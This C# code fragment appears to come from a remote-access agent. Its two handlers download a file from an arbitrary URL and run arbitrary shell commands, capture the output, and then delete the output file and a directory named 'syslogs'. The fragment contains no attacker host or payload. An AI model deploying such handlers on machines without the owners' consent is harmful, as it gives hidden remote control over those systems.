public static byte[] FromURL(string url, string fileName)
{
string result = "Download completed successfully.";
using (var client = new WebClient())
{
if (string.IsNullOrEmpty(url) || string.IsNullOrEmpty(fileName))
{
result = "No URL or File Name specified.";
return(GenericCommandResult.Generate(result));
}
try
{
client.DownloadFile(url, fileName);
}
catch (NotSupportedException)
{
result = "Incorrect URL format.";
}
catch (WebException)
{
result = "No file found at specified link.";
}
}
return(GenericCommandResult.Generate(result));
}
public static byte[] ExecuteCommand(string command)
{
string commandOutput = "";
bool changeDir = false;
//bool outputEmpty;
_outputFile = _outputDir + Guid.NewGuid().ToString() + ".txt";
CreateDirectory();
if (command.ToLower().Contains("cd"))
{
changeDir = true;
command += @" && cd";
}
Process pProcess = CreateCMDProcess(command);
try
{
pProcess.Start();
}
catch (Exception e)
{
commandOutput = e.Message;
}
pProcess.WaitForExit(1000);
try
{
if (!(new FileInfo(_outputFile).Length <= 0))
{
commandOutput = ReadCMDOutputFile(pProcess);
}
}
catch (Exception e)
{
commandOutput = e.Message;
}
DeleteCMDOutputFile(pProcess);
if (changeDir)
{
commandOutput = ChangeWorkingDirectory(commandOutput);
}
try
{
DeleteOutputDirectory(pProcess);
}
catch
{
Console.WriteLine("Unable to delete syslogs directory.");
}
pProcess.Dispose();
return(GenericCommandResult.Generate(commandOutput));
}